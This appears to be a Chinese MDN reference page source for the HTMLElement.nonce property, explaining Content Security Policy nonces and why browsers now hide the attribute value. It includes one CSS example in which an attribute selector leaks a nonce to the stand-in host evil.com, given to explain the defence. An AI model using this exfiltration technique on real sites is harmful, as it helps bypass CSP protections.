blob: b2c6c829b1aac9f60100cf144b20cb341d30d968 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
---
title: HTMLElement.nonce
slug: Web/API/HTMLElement/nonce
tags:
- API
- nonce
- 内容安全策略
- 实验性
- 属性
translation_of: Web/API/HTMLOrForeignElement/nonce
---
<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>
<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p>
<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p>
<h2 id="语法">语法</h2>
<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce
HTMLElement.nonce = <em>nonce</em></pre>
<h3 id="访问nonce属性值">访问nonce属性值</h3>
<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p>
<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>
<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p>
<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p>
<pre class="notranslate">script[nonce~=whatever] {
background: url("https://evil.com/nonce?whatever");
}</pre>
<h2 id="说明">说明</h2>
<table class="standard-table">
<tbody>
<tr>
<th scope="col">说明</th>
<th scope="col">状态</th>
<th scope="col">注释</th>
</tr>
<tr>
<td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
<td>{{Spec2('HTML WHATWG')}}</td>
<td>初始定义</td>
</tr>
</tbody>
</table>
<h2 id="支持的浏览器">支持的浏览器</h2>
<div>
<div class="hidden">这个兼容的浏览器列表是通过一组结构化数据生成的。如果你想修改活增加数据，请获取最新数据并提交，地址：<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></div>
<p>{{Compat("api.HTMLElement.nonce")}}</p>
</div>
|
